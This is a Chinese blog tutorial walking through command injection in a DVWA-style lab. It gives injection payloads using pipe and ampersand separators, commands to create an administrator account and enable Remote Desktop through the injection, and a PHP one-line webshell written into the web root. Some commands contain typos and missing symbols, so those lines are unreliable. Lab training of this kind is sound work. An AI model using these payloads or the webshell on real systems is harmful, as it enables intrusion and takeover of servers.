rce命令执行原理及靶场实战(详细)

发布于:2025-05-25 ⋅ 阅读:(25) ⋅ 点赞:(0)

2. 原理

  1. 在根源上应用系统从设计上要给用户提供一个指定的远程命令操作的接口
  2. 漏洞主要出现在常见的路由器、防火墙、入侵检测等设备的web管理界面上。在管理界面提供了一个ping服务。
  3. 提交后,系统对该IP进行ping,并且返回结果。
  4. 如果后台服务器并没有对其进行严格的过滤或者筛选时,那攻击者提交一个具有危险的命令就会被后台执行,从而可以进行控制整个后台服务。
  5. 要掌握过滤

3. 执行方式

管道符:

“ | ” 直接执行后面的语句 ping127.0.0.1whoami

“ || ” 前面的语句执行出错则执行后面的语句 ping127.o.0.1jwhoami

“ & ” 前面的语句为假则执行后面的语句 ping127.0.0.1&whoami

”&&“ 前面的语句为假,直接出错,前面的语句为真,执行后面的语句 ping127.0.0.1&&whoami

4. 符号操作

4.1. |whoami

这是一个简单的命令执行,输入网址进行ping服务

我们使用上面的管道符进行实验

172.220.52.186|whoami

| :这个是不管前面是什么,直接执行后面的语句

IP地址|命令

命令执行成功如上图所示

4.2. ||ipconfig

前面出错执行后面语句

asdfa||ipconfig 命令执行查看ip

4.3. &whoami

哪一个对了执行哪一个

&:当前面一个出错则可以执行后面的,

asdf&whoami

前面ping的通则执行前面的 172.220.52.186&whomi

4.4. &&ipconfig

前面的语句为假,直接出错,前面的语句为真,执行两个语句

ping127.0.0.1&&whoami 前面正常,两个执行

27.0.0.1&&whoami,出错,后面不执行

上面该dvwa靶场实验练习管道符,管道符为命令执行重要符号。

熟悉了管道符正常操作后进行实战

5. 模拟远程连接

任务:通过命令执行漏洞,对目标靶机侵入创建虚拟账户,并对其进行远程访问。

熟记指令

  1. 创建用户:net user yuancheng 123/add //创建yuancheng密码为123
  2. 查看用户:net user
  3. 将用户添加到管理员组: 127.0.0.1&net localgroup Administrators yuancheng /add
  4. 开启远程管理服务: 127.0.0.1&net user yuancheng /active:yes

特况:

如果连不上可能远程桌面功能没有打开,使用如下命令打开:

asdf&add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


5.1. 开始

asdf&net user yuancheng 123456 /add

呃,指令不成功,直接去靶机创建用户并提升为管理员

net user yuancheng 123456 /add //如下图所示

net localgroup Administrators yuancheng /add //提管理员

远程连接

输入密码

ok,连接成功

6. 写马

写入一句话木马并使用webshell连接

熟记指令:

  1. 查看当前路径 chdir //查看路径,之后将一句话木马写入该路径
  2. 查看 C 盘下的文件 dir C:\ //可以看到C盘文件
  3. 写入一句话木马、用 webshell 管理工具连接成功 写入一句话木马、用 webshell 管理工具连接
  4. echo "<?php @eval($_POST['cmd']);?>" > C:\phpstudy\PHPTutorial\WWW\webshell.php
  5. 蚁剑连接

6.1. 开始

查看路径

dir C:\ 查看文件情况

将其木马写入www即可

echo "<?php @eval($_POST['cmd']);?>" > C:\phpstudy\PHPTutorial\WWW\webshell.php

使用蚁剑连接,在木马存在的目录

C:\phpstudy\PHPTutorial\WWW\webshell.php

可以查看到文件


网站公告

今日签到

点亮在社区的每一天
去签到